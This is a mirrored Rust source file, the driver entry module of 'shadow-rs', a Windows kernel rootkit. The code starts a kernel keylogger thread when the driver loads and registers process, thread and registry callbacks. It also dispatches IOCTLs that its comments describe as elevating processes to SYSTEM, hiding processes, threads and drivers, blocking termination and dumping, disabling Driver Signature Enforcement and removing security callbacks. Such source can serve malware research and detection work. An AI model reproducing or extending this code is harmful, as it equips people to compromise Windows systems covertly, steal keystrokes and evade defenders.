mirror of
https://github.com/joaoviictorti/shadow-rs.git
synced 2026-01-01 06:34:27 +01:00
329 lines
11 KiB
Rust
329 lines
11 KiB
Rust
#![no_std]
|
|
#![allow(unused_must_use)]
|
|
#![allow(unreachable_code)]
|
|
#![allow(unused_variables)]
|
|
|
|
extern crate alloc;
|
|
|
|
use {
|
|
utils::uni,
|
|
kernel_log::KernelLogger,
|
|
core::ptr::null_mut,
|
|
wdk_sys::{_MODE::KernelMode, ntddk::*, *},
|
|
keylogger::SHUTDOWN,
|
|
crate::utils::ioctls::IOCTL_MAP,
|
|
};
|
|
|
|
#[cfg(not(feature = "mapper"))]
|
|
use {
|
|
process::{on_pre_open_process, CALLBACK_REGISTRATION_HANDLE_PROCESS},
|
|
thread::{on_pre_open_thread, CALLBACK_REGISTRATION_HANDLE_THREAD},
|
|
registry::{registry_callback, CALLBACK_REGISTRY},
|
|
};
|
|
|
|
#[cfg(not(feature = "mapper"))]
|
|
mod registry;
|
|
mod callbacks;
|
|
mod driver;
|
|
mod includes;
|
|
mod keylogger;
|
|
mod process;
|
|
mod thread;
|
|
mod module;
|
|
mod injection;
|
|
mod utils;
|
|
|
|
/// The name of the device in the device namespace.
|
|
const DEVICE_NAME: &str = "\\Device\\shadow";
|
|
|
|
/// The name of the device in the DOS device namespace.
|
|
const DOS_DEVICE_NAME: &str = "\\??\\shadow";
|
|
|
|
/// Driver input function.
|
|
///
|
|
/// This function is called by the system when the driver is loaded.
|
|
///
|
|
/// # Parameters
|
|
/// - `driver_object`: Pointer to the driver object.
|
|
/// - `registry_path`: Pointer to the Unicode string that specifies the driver's registry path.
|
|
///
|
|
/// # Return
|
|
/// - `NTSTATUS`: Status code indicating the success or failure of the operation.
|
|
///
|
|
/// Reference: WDF expects a symbol with the name DriverEntry
|
|
#[export_name = "DriverEntry"]
|
|
pub unsafe extern "system" fn driver_entry(
|
|
driver: &mut DRIVER_OBJECT,
|
|
registry_path: PCUNICODE_STRING,
|
|
) -> NTSTATUS {
|
|
KernelLogger::init(log::LevelFilter::Info).expect("Failed to initialize logger");
|
|
|
|
log::info!("DriverEntry Loaded");
|
|
|
|
#[cfg(feature = "mapper")] {
|
|
use includes::IoCreateDriver;
|
|
|
|
const DRIVER_NAME: &str = "\\Driver\\shadow";
|
|
let mut driver_name = uni::str_to_unicode(DRIVER_NAME).to_unicode();
|
|
let status = IoCreateDriver(&mut driver_name, Some(shadow_entry));
|
|
if !NT_SUCCESS(status) {
|
|
log::error!("IoCreateDriver Failed With Status: {status}");
|
|
}
|
|
return status;
|
|
}
|
|
|
|
shadow_entry(driver, registry_path)
|
|
}
|
|
|
|
/// Driver input function.
|
|
///
|
|
/// This function is called by the system when the driver is loaded. It is responsible for
|
|
/// initializing the driver, creating the device object and setting up the symbolic link.
|
|
///
|
|
/// # Parameters
|
|
/// - `driver_object`: Pointer to the driver object.
|
|
/// - `_registry_path`: Pointer to the Unicode string that specifies the driver's registry path.
|
|
///
|
|
/// # Return
|
|
/// - `NTSTATUS`: Status code indicating the success or failure of the operation.
|
|
///
|
|
pub unsafe extern "system" fn shadow_entry(
|
|
driver: &mut DRIVER_OBJECT,
|
|
_registry_path: PCUNICODE_STRING,
|
|
) -> NTSTATUS {
|
|
log::info!("Shadow Loaded");
|
|
|
|
let device_name = uni::str_to_unicode(DEVICE_NAME);
|
|
let dos_device_name = uni::str_to_unicode(DOS_DEVICE_NAME);
|
|
let mut device_object: *mut DEVICE_OBJECT = core::ptr::null_mut();
|
|
let mut status = IoCreateDevice(
|
|
driver,
|
|
0,
|
|
&mut device_name.to_unicode(),
|
|
FILE_DEVICE_UNKNOWN,
|
|
FILE_DEVICE_SECURE_OPEN,
|
|
0,
|
|
&mut device_object,
|
|
);
|
|
|
|
if !NT_SUCCESS(status) {
|
|
log::error!("IoCreateDevice Failed With Status: {status}");
|
|
return status;
|
|
}
|
|
|
|
driver.DriverUnload = Some(driver_unload);
|
|
driver.MajorFunction[IRP_MJ_CREATE as usize] = Some(driver_close);
|
|
driver.MajorFunction[IRP_MJ_CLOSE as usize] = Some(driver_close);
|
|
driver.MajorFunction[IRP_MJ_DEVICE_CONTROL as usize] = Some(device_control);
|
|
|
|
status = IoCreateSymbolicLink(&mut dos_device_name.to_unicode(),&mut device_name.to_unicode());
|
|
|
|
if !NT_SUCCESS(status) {
|
|
IoDeleteDevice(device_object);
|
|
log::error!("IoCreateSymbolicLink Failed With Status: {status}");
|
|
return status;
|
|
}
|
|
|
|
let mut h_thread: HANDLE = core::ptr::null_mut();
|
|
status = PsCreateSystemThread(
|
|
&mut h_thread,
|
|
THREAD_ALL_ACCESS,
|
|
null_mut(),
|
|
null_mut(),
|
|
null_mut(),
|
|
Some(keylogger::keylogger),
|
|
null_mut(),
|
|
);
|
|
|
|
if !NT_SUCCESS(status) {
|
|
IoDeleteDevice(device_object);
|
|
log::error!("PsCreateSystemThread Failed With Status: {status}");
|
|
return status;
|
|
}
|
|
|
|
#[cfg(feature = "mapper")] {
|
|
(*device_object).Flags |= DO_BUFFERED_IO;
|
|
(*device_object).Flags &= !DO_DEVICE_INITIALIZING;
|
|
}
|
|
|
|
#[cfg(not(feature = "mapper"))] {
|
|
status = register_callbacks(driver);
|
|
if !NT_SUCCESS(status) {
|
|
log::error!("register_callbacks Failed With Status: {status}");
|
|
return status;
|
|
}
|
|
}
|
|
|
|
STATUS_SUCCESS
|
|
}
|
|
|
|
/// Handles device control commands (IOCTL).
|
|
///
|
|
/// This function is responsible for processing IOCTL commands received by the driver and executing the corresponding actions.
|
|
///
|
|
/// # Parameters
|
|
/// - `_device`: Pointer to the device object (not used in this function).
|
|
/// - `irp`: Pointer to the I/O request packet (IRP) that contains the information about the device control request.
|
|
///
|
|
/// # Return
|
|
/// - `NTSTATUS`: Status code indicating the success or failure of the operation.
|
|
///
|
|
/// # Supported IOCTLs
|
|
/// - `IOCTL_ELEVATE_PROCESS`: Elevates the specified process to system privileges.
|
|
/// - `IOCTL_HIDE_UNHIDE_PROCESS`: Hide / Unhide the specified process.
|
|
/// - `IOCTL_TERMINATE_PROCESS`: Terminate process.
|
|
/// - `IOCTL_PROTECTION_PROCESS`: Modifying the PP / PPL of a process.
|
|
/// - `IOCTL_ANTI_KILL_DUMPING_PROCESS`: Responsible for adding shutdown protection / memory dumping for a process.
|
|
/// - `IOCTL_ENUMERATION_PROCESS`: Lists the processes currently hidden and protect.
|
|
/// - `IOCTL_HIDE_UNHIDE_THREAD`: Hide the specified Thread by removing it from the list of active threads.
|
|
/// - `IOCTL_ANTI_KILL_THREAD`: Responsible for adding thread termination protection.
|
|
/// - `IOCTL_HIDE_DRIVER`: Hiding a driver from loaded modules.
|
|
/// - `IOCTL_ENUMERATE_DRIVER`: Enumerate active drivers on the system.
|
|
/// - `IOCTL_ENABLE_DSE`: Responsible for enabling/disabling DSE.
|
|
/// - `IOCTL_KEYLOGGER`: Start / Stop Keylogger.
|
|
/// - `IOCTL_ENUMERATE_CALLBACK`: Lists callbacks.
|
|
/// - `IOCTL_REMOVE_CALLBACK`: Remove a callback.
|
|
///
|
|
pub unsafe extern "C" fn device_control(_device: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS {
|
|
let stack = (*irp).Tail.Overlay.__bindgen_anon_2.__bindgen_anon_1.CurrentStackLocation;
|
|
let control_code = (*stack).Parameters.DeviceIoControl.IoControlCode;
|
|
let status;
|
|
|
|
if let Some(handler) = IOCTL_MAP.get(&control_code) {
|
|
status = handler(irp, stack);
|
|
} else {
|
|
status = STATUS_INVALID_DEVICE_REQUEST;
|
|
}
|
|
|
|
(*irp).IoStatus.__bindgen_anon_1.Status = status;
|
|
IofCompleteRequest(irp, IO_NO_INCREMENT as i8);
|
|
|
|
status
|
|
}
|
|
|
|
/// Closes an open instance of the device.
|
|
///
|
|
/// This function is called when an open instance of the device is closed.
|
|
/// It marks the I/O request (IRP) as successfully completed.
|
|
///
|
|
/// # Parameters
|
|
/// - `_device_object`: Pointer to the associated device object (not used in this function).
|
|
/// - `irp`: Pointer to the I/O request packet (IRP) containing the information about the close request.
|
|
///
|
|
/// # Return
|
|
/// - `NTSTATUS`: Status code indicating the success of the operation (always returns `STATUS_SUCCESS`).
|
|
///
|
|
pub unsafe extern "C" fn driver_close(_device_object: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS {
|
|
(*irp).IoStatus.__bindgen_anon_1.Status = STATUS_SUCCESS;
|
|
(*irp).IoStatus.Information = 0;
|
|
IofCompleteRequest(irp, IO_NO_INCREMENT as i8);
|
|
STATUS_SUCCESS
|
|
}
|
|
|
|
/// Download the system driver.
|
|
///
|
|
/// This function is called when the driver is being unloaded from the system.
|
|
/// It removes the symbolic link and deletes the device object associated with the driver.
|
|
///
|
|
/// # Parameters
|
|
/// - `driver_object`: Pointer to the driver object being unloaded.
|
|
///
|
|
pub unsafe extern "C" fn driver_unload(driver_object: *mut DRIVER_OBJECT) {
|
|
log::info!("Unloading driver");
|
|
|
|
let dos_device_name = uni::str_to_unicode(DOS_DEVICE_NAME);
|
|
IoDeleteSymbolicLink(&mut dos_device_name.to_unicode());
|
|
IoDeleteDevice((*driver_object).DeviceObject);
|
|
|
|
SHUTDOWN = true;
|
|
|
|
#[cfg(not(feature = "mapper"))] {
|
|
ObUnRegisterCallbacks(process::CALLBACK_REGISTRATION_HANDLE_PROCESS);
|
|
ObUnRegisterCallbacks(CALLBACK_REGISTRATION_HANDLE_THREAD);
|
|
CmUnRegisterCallback(CALLBACK_REGISTRY);
|
|
}
|
|
|
|
let mut interval = LARGE_INTEGER {
|
|
QuadPart: -1 * (50 * 10000 as i64),
|
|
};
|
|
|
|
KeDelayExecutionThread(KernelMode as i8, 0, &mut interval);
|
|
|
|
log::info!("Shadow Unload");
|
|
}
|
|
|
|
/// Register Callbacks.
|
|
///
|
|
/// # Parameters
|
|
/// - `driver_object`: Pointer to the driver object being unloaded.
|
|
///
|
|
/// # Return
|
|
/// - `NTSTATUS`: Status code indicating the success of the operation (always returns `STATUS_SUCCESS`).
|
|
///
|
|
#[cfg(not(feature = "mapper"))]
|
|
pub unsafe fn register_callbacks(driver_object: &mut DRIVER_OBJECT) -> NTSTATUS {
|
|
let mut status;
|
|
|
|
// Creating callbacks related to Process operations
|
|
let mut op_reg = OB_OPERATION_REGISTRATION {
|
|
ObjectType: PsProcessType,
|
|
Operations: OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE,
|
|
PreOperation: Some(on_pre_open_process),
|
|
PostOperation: None,
|
|
};
|
|
let altitude = uni::str_to_unicode("31243.5222");
|
|
let mut cb_reg = OB_CALLBACK_REGISTRATION {
|
|
Version: OB_FLT_REGISTRATION_VERSION as u16,
|
|
OperationRegistrationCount: 1,
|
|
Altitude: altitude.to_unicode(),
|
|
RegistrationContext: core::ptr::null_mut(),
|
|
OperationRegistration: &mut op_reg,
|
|
};
|
|
|
|
status = ObRegisterCallbacks(&mut cb_reg,core::ptr::addr_of_mut!(CALLBACK_REGISTRATION_HANDLE_PROCESS));
|
|
if !NT_SUCCESS(status) {
|
|
log::error!("ObRegisterCallbacks (Process) Failed With Status: {status}");
|
|
return status;
|
|
}
|
|
|
|
// Creating callbacks related to thread operations
|
|
let mut op_reg = OB_OPERATION_REGISTRATION {
|
|
ObjectType: PsThreadType,
|
|
Operations: OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE,
|
|
PreOperation: Some(on_pre_open_thread),
|
|
PostOperation: None,
|
|
};
|
|
let altitude = uni::str_to_unicode("31243.5223");
|
|
let mut cb_reg = OB_CALLBACK_REGISTRATION {
|
|
Version: OB_FLT_REGISTRATION_VERSION as u16,
|
|
OperationRegistrationCount: 1,
|
|
Altitude: altitude.to_unicode(),
|
|
RegistrationContext: core::ptr::null_mut(),
|
|
OperationRegistration: &mut op_reg,
|
|
};
|
|
|
|
status = ObRegisterCallbacks(&mut cb_reg,core::ptr::addr_of_mut!(CALLBACK_REGISTRATION_HANDLE_THREAD));
|
|
if !NT_SUCCESS(status) {
|
|
log::error!("ObRegisterCallbacks (Thread) Failed With Status: {status}");
|
|
return status;
|
|
}
|
|
|
|
// Creating callbacks related to registry operations
|
|
let mut altitude = uni::str_to_unicode("31122.6172").to_unicode();
|
|
status = CmRegisterCallbackEx(
|
|
Some(registry_callback),
|
|
&mut altitude,
|
|
driver_object as *mut DRIVER_OBJECT as *mut core::ffi::c_void,
|
|
null_mut(),
|
|
core::ptr::addr_of_mut!(CALLBACK_REGISTRY),
|
|
null_mut(),
|
|
);
|
|
|
|
if !NT_SUCCESS(status) {
|
|
log::error!("CmRegisterCallbackEx Failed With Status: {status}");
|
|
return status;
|
|
}
|
|
|
|
status
|
|
}
|